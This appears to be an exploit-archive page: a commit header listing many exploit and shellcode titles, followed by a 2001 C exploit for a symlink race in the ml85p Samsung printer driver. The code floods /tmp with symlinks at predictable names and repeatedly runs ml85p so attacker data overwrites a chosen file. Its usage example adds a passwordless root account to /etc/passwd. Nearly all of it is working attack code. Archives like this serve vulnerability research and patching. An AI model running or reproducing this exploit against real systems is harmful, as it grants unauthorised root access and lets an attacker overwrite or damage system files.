880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
106 lines
No EOL
2.6 KiB
C
106 lines
No EOL
2.6 KiB
C
// source: https://www.securityfocus.com/bid/3008/info
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ml85p is a Linux driver for Samsung ML-85G series printers. It may be bundled with distributions of Ghostscript.
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ml85p does not check for symbolic links when creating image output files.
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These files are created in /tmp with a guessable naming format, making it trivial for attackers to exploit this vulnerability.
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Since user-supplied data is written to the target file, attackers may be able to elevate privileges.
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/* ml85p-xpl.c
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*
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* Quick hack to exploit ml85p
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*
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* Simply run it with the file you want to create/overwrite
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* and the data you wish to place in the file.
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*
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* Example:
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*
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* $ gcc -g -Wall ml85p-xpl.c -o ml85p-xpl
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* $ ./ml85p-xpl /etc/passwd owned::0:0::/root:/bin/bash
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*
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* Then login as owned... etc..
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*
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* by Charles Stevenson <core@ezlink.com>
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*
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* July 10 2001
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*
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* shoutz b10z
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <sys/types.h>
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#include <unistd.h>
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#include <time.h>
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#define TEMPFILE "/tmp/ez.XXXXXX"
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#define BRUTE 10
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void usage(char*);
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int main(int argc, char **argv){
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char tempfile[128] = TEMPFILE;
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int fd, i;
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time_t the_time;
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char temp[512];
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if (argc < 3){
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usage(argv[0]);
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}
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if((fd = mkstemp(tempfile))==-1){
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fprintf(stderr, "Error creating %s!\n",tempfile);
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exit(1);
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}
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/* begin lazy slacker coding */
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fprintf(stderr, "ml85p-xpl.c by core (c) 2001\n");
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fprintf(stderr, "> backing up %s to %s\n", argv[1], tempfile);
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/* backup old file */
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sprintf(temp, "/bin/cp %s %s", argv[1], tempfile);
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system(temp);
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/* set the date/time */
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sprintf(temp, "/bin/touch -r %s %s", argv[1], tempfile);
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system(temp);
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the_time = time(NULL);
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fprintf(stderr, "> creating a lot of symlinks\n");
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for (i=0;i<BRUTE;i++){
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/* BAD CODE: sprintf(gname,"/tmp/ml85g%d",time(0)); */
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sprintf(temp, "/tmp/ml85g%d", the_time+i);
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symlink(argv[1], temp);
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}
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sprintf(temp, "/bin/echo `perl -e 'print \"\\n\"'`%s > file; ml85p
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-sf file 2>&1>/dev/null & sleep 1; killall ml85p\n", argv[2]);
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fprintf(stderr, "Running a few times since I'm lazy.\n");
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for (i=0;i<BRUTE;i++){
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system(temp);
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//sleep(1);
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}
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sprintf(temp, "/bin/ls -l %s", argv[1]);
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system(temp);
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fprintf(stderr, "> cleaning up\n");
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sprintf(temp, "/bin/rm -f /tmp/ml85*");
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system(temp);
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fprintf(stderr, "All done. Enjoy!\n");
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return 0;
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}
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void usage(char *name){
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fprintf(stderr, "usage: %s <filename> <data>\n", name);
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exit(1);
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}
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/* EOF */ |